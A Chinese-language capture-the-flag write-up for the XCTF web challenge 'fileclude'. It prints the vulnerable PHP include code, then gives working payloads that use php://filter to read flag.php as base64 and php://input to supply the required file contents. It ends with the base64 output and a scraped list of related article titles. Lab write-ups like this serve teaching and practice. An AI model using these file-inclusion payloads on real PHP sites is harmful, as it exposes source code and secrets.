XCTF - fileclude

题目编号GFSJ1010

知识点

本题是典型的文件包含,主要知识点为php://input的使用

源码解析

WRONG WAY! <?php
//包含flag.php
include("flag.php");
//显示源码
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{$file1 = $_GET["file1"];$file2 = $_GET["file2"];//file1和file2变量不为空if(!empty($file1) && !empty($file2)){//file2的文件内容为hello ctfif(file_get_contents($file2) === "hello ctf"){//包含file1include($file1);}}elsedie("NONONO");
}

解题思路

通过源码分析,可以得出本题需要两个GET变量file1和file2。file1最典型的文件包含,可以用php:filter进行php源码的读取。file2也比较简单直接赋值为hello ctf即可。
payload如下:?file1=php://filter/convert.base64-encode/resource=flag.php&file2=hello ctf,但是运用如上payload,发现题目报错了,很明显不能直接输入file2的内容,想办法绕过即可

php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
本题中,我们就可以运用他的后面的特性,post想设置的文件内容,php执行时会将post内容当作文件内容,我们可以用php://input,post一个hello ctf即可。payload如下?file1=php://filter/convert.base64-encode/resource=flag.php&file2=php://input post:hello ctf

我们可以看到flag.php的内容base64编码已经显示出来了,解码可获得flag

 PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXs4NjEzNTRjMGQ4Y2Y0MjM4YTI5OWVhMjU1MjM3MTMwNX0=

攻防世界web新手fileclude相关推荐

  1. 攻防世界——web新手题

    攻防世界----web新手题 1. robots 打开题目场景,发现与robots协议有关,上网搜索robots协议的内容: Robots协议(也称为爬虫协议.机器人协议等)的全称是"网络爬 ...

  2. 攻防世界-web新手区wp

    攻防世界-web新手区wp view source robots backup cookie disabled_button weak auth simple php get_post xff_ref ...

  3. 攻防世界web新手练习 -unseping

    攻防世界web新手练习 -unseping 新版攻防世界的这个题目有点给力,从今天开始刷题刷题 本题的知识点很多,总结出来以下几点 php代码审计 php反序列化 命令执行的绕过方式 空格绕过 空环境 ...

  4. 攻防世界——web新手区(全解)

    当前网络安全形式越来越严重,我国也越来越重视,现在国内乃至国际上各个网络攻防大赛层出不穷,但是练习平台却还是很稀缺,可以说目前网上能够练习的平台也就只有几家,大多数的院校它们有自己的练习平台但并不公开 ...

  5. 攻防世界web新手区(来自小白)*-*

    鄙人是个纯纯的小白,这个博客也是给小白写的,不过大佬们也不会来查这些题的wp吧 拍飞 文章目录 攻防世界WEB新手区(1--11) 第一题view_source 第二题robots 第三题backup ...

  6. 攻防世界-Web(新手区)

    前言 暑假前,为了学习Web题,做了攻防世界的新手区的Web题,当时没有总结,现在总结一下. 正文 Web1:view_source 查看源代码,右键不可以用.所以按F12,直接查看源码即可. Web ...

  7. XCTF攻防世界Web新手入门题大全

    XCTF攻防世界Web之WriteUp无图版 (Tips:有图版本,请移步我的资源,自行下载doc文档) 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 vie ...

  8. 攻防世界web新手区easyphp题解writeup

    写在前面 最近在学习CTF web相关知识,顺带学习php,在攻防世界平台上做做题.遇到了一道名为easyphp的题目,对我这个新手一点也不easy,于是决定把过程记录下来. 参考了官网上shuita ...

  9. 攻防世界web新手区合集

    攻防世界(xctf)做题合集-get_post- robots-backup-cookie-disabled_button-simple_php-weak_auth-xff_referer-simpl ...

最新文章

  1. Android 屏幕自动旋转-Sensor属性
  2. c语言错误c4430,C 语言 typedef 与 #define 比较
  3. 利用Python实现矩阵乘法并与numpy的结果比较
  4. Linux_《Linux命令行与shell脚本编程大全》第二章学习总结
  5. flutter --- 使用dio包
  6. T-SQL 中ON和WHERE的区别
  7. 基于SpringBoot项目的https
  8. 燧原科技首发国内第二代人工智能训练芯片“邃思2.0”
  9. SSM 整合 2:Java EE 开发环境的搭建(JDK 配置、Tomcat 安装、IDE 安装、IDE 集成 Tomcat、Spring 及其组件的下载)
  10. python3 rrdtool 使用
  11. java redirect 超时_java – Spring Security 3.0重定向到超时的页面
  12. java连接远程服务器之manyged-ssh2 (windows和linux)
  13. linux入门和简单应用举例
  14. vue开发:前端项目模板
  15. 01 社会网络分析基础理论!
  16. Android8.0替换默认静态壁纸
  17. python cookbook 读书笔记2(字符串处理2)
  18. 《科学之路》读书笔记
  19. 最适合深夜失眠听的歌,听了最容易入睡的歌曲推荐
  20. 求助:大文件mp4恢复

热门文章

  1. 《Linux C编程从入门到精通》一1.4 Linux的常用命令
  2. 当你改变不了环境的时候试着改变自己
  3. QVW Load多个不同目录下的QVD文件
  4. HTML 为元素设置边框
  5. FreeImage通用文件加载与转换器
  6. 网站优化长尾词怎么做排名优化
  7. Servlet中关于Session数据存储遇到的数据转换问题
  8. JavaMail发送邮件手机客户端图片无法显示
  9. Java数组数据类型
  10. OSPF---路由备份的设计实验